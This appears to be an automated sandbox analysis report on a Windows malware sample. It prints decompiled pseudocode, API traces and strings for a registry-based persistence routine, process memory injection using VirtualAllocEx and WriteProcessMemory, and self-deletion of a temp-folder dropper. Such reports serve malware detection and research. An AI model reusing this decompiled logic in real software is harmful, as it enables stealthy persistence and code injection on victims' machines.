										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12);
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32 ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,004122F8,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(C:\Users\user\AppData\Local\Temp\18D.exe), ref: 0040A407
CreateThread.KERNEL32 ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32 ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

D, xrefs: 00409F8E
\, xrefs: 00409D0C
", xrefs: 00409EDB
P, xrefs: 00409DAA
C:\Users\user\AppData\Local\Temp\18D.exe, xrefs: 0040A2CB, 0040A3CC, 0040A3E1, 0040A406, 0040A413
%X%08X, xrefs: 0040A0B0
dbgxuqbr, xrefs: 0040A389, 0040A397
", xrefs: 0040A078
C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe, xrefs: 0040A1D9
", xrefs: 0040A189

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$C:\Users\user\AppData\Local\Temp\18D.exe$C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe$D$P$\$dbgxuqbr
API String ID: 2089075347-1830981420
Opcode ID: f4e5507119e69eedb4593e1dd0383ec50f8bffbbe603df83c793ad7a81fc6842
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: f4e5507119e69eedb4593e1dd0383ec50f8bffbbe603df83c793ad7a81fc6842
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 0041C735, Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 427COMMON

Download Yara Rule

APIs

__vswprintf_c_l.LIBCMTD ref: 0041C75C

Part of subcall function 00420E50: __vswprintf_helper.LIBCMTD ref: 00420E71

_puts.LIBCMTD ref: 0041C762

Part of subcall function 00422910: __invalid_parameter.LIBCMTD ref: 0042299D

__wrename.LIBCMTD ref: 0041C769

Part of subcall function 004228C0: __dosmaperr.LIBCMTD ref: 004228F4

Part of subcall function 0041EA58: __EH_prolog.LIBCMT ref: 0041EA5D

_abort.LIBCMTD ref: 0041C77E

Part of subcall function 00422780: _raise.LIBCMTD ref: 004227C0
Part of subcall function 00422780: _memset.LIBCMT ref: 0042285F

_malloc.LIBCMTD ref: 0041C784

Part of subcall function 00422750: __nh_malloc_dbg.LIBCMTD ref: 00422766

_realloc.LIBCMTD ref: 0041C78B

Part of subcall function 00422720: __realloc_dbg.LIBCMTD ref: 00422734

Part of subcall function 0041E3EB: std::ios_base::_Ios_base_dtor.LIBCPMTD ref: 0041E3FD

Strings

X<, xrefs: 0041CA88
\H, xrefs: 0041CA40
e-B, xrefs: 0041CC0D, 0041C969
e-BX<, xrefs: 0041CAEF, 0041C85E, 0041C863, 0041C862, 0041CAF3

Memory Dump Source

Source File: 0000001F.00000002.396788958.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: H_prologIos_base_dtor__dosmaperr__invalid_parameter__nh_malloc_dbg__realloc_dbg__vswprintf_c_l__vswprintf_helper__wrename_abort_malloc_memset_puts_raise_reallocstd::ios_base::_
String ID: X<$e-B$e-BX<$\H
API String ID: 1366049782-337825548
Opcode ID: 6f948003e1a14e92504742218f44640b4fbd707611df61ac1bf01c1adb01b111
Instruction ID: fd907aed3f122deab6252544d67d94afc70bb90e2f60d10dab4ebc72ea4ea400
Opcode Fuzzy Hash: 6f948003e1a14e92504742218f44640b4fbd707611df61ac1bf01c1adb01b111
Instruction Fuzzy Hash: 64D14F72442665BBC325ABA1ED4DEEF3E6CEF4A391B004436F245A1071D7384685CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 6.1, APIs: 4, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				void* _t18;
				int _t20;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4); // executed
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t18 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40); // executed
						_t37 = _t18;
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							_t20 = WriteProcessMemory(_a8, _t37, _v8, _t26, 0); // executed
							if(_t20 != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063ca
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063eb
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,?), ref: 0040638F
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,?,?,00409816,?), ref: 004063A9
VirtualAllocEx.KERNELBASE(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNELBASE(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041A878, Relevance: 62.0, APIs: 1, Strings: 34, Instructions: 794memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000040,00000000), ref: 0041C4A9

Strings

|~, xrefs: 0041B81C
Dx8|, xrefs: 0041B48A
=:6U, xrefs: 0041AE96
VirtualProtect, xrefs: 0041B366, 0041B36B, 0041C44C
CWv, xrefs: 0041B4AB
w/a, xrefs: 0041AF03
N%z", xrefs: 0041AE9E
/><, xrefs: 0041AF71
JfG, xrefs: 0041AA10
PV, xrefs: 0041B848
T, xrefs: 0041BC35
9o, xrefs: 0041B57C
*9ix, xrefs: 0041B2BD
*E[o, xrefs: 0041AC9B
g$0, xrefs: 0041B634
k/^, xrefs: 0041B949
p0SP, xrefs: 0041AD76
H/P, xrefs: 0041BDDA
Sst1, xrefs: 0041AD08
y]n6, xrefs: 0041B954
1s<R, xrefs: 0041B24D
[(, xrefs: 0041BC1F
kOon, xrefs: 0041AB96
lh;_, xrefs: 0041B47F
R$#, xrefs: 0041AFE1
[qFq, xrefs: 0041ACD1
F[x`, xrefs: 0041ADAA
qcc-, xrefs: 0041AFF4
FW,(, xrefs: 0041B50E
Ig, xrefs: 0041BAF0
>e] , xrefs: 0041BA43
SKCo, xrefs: 0041ABA1
IkL, xrefs: 0041AC64
(::L, xrefs: 0041AC7A

Memory Dump Source

Source File: 0000001F.00000002.396788958.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: w/a$g$0$PV$(::L$*9ix$*E[o$/><$1s<R$=:6U$>e] $Dx8|$FW,($F[x`$IkL$Ig$JfG$N%z"$R$#$SKCo$Sst1$T$VirtualProtect$[qFq$[($k/^$kOon$lh;_$p0SP$qcc-$y]n6$9o$CWv$H/P$|~
API String ID: 544645111-66855312
Opcode ID: 2f6239dd90dc7b67c91acfa2199c8edae369c0e875cd0353721e85238ce5747d
Instruction ID: 8997ab71a4adcbde98a7509aee359fee696d45392c49b001424423367cb78155
Opcode Fuzzy Hash: 2f6239dd90dc7b67c91acfa2199c8edae369c0e875cd0353721e85238ce5747d
Instruction Fuzzy Hash: 51C2C9B450D3C18BC2B58F1A95897CFFBE4BB96308F508A0CE6D94A615CB718985CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 345
registryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12); // executed
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16); // executed
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12); // executed
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20);
					L66:
					return _t93 | 0xffffffff;
				}
			}

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,751443E0,00000000), ref: 00407472
RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000101,?,?,?,?,?,?,?,751443E0,00000000), ref: 004074F0
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,751443E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,751443E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,751443E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,751443E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,751443E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,004122F8,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.KERNELBASE(?), ref: 004077E6

Strings

", xrefs: 00407599

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "
API String ID: 3433985886-123907689
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 00422C00, Relevance: 16.6, APIs: 11, Instructions: 114COMMON

Download Yara Rule

APIs

_check_managed_app.LIBCMTD ref: 00422C7C
__heap_init.LIBCMTD ref: 00422C86

Part of subcall function 00433050: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00422C8B,00000001), ref: 00433066

_fast_error_exit.LIBCMTD ref: 00422C94

Part of subcall function 00422DE0: ___crtExitProcess.LIBCMTD ref: 00422E04

__mtinit.LIBCMTD ref: 00422C9C
_fast_error_exit.LIBCMTD ref: 00422CA7
__RTC_Initialize.LIBCMTD ref: 00422CB9
___crtGetEnvironmentStringsW.LIBCMTD ref: 00422CE2
___wsetargv.LIBCMTD ref: 00422CEC
__wsetenvp.LIBCMTD ref: 00422CFF
__cinit.LIBCMTD ref: 00422D14
__wwincmdln.LIBCMTD ref: 00422D31

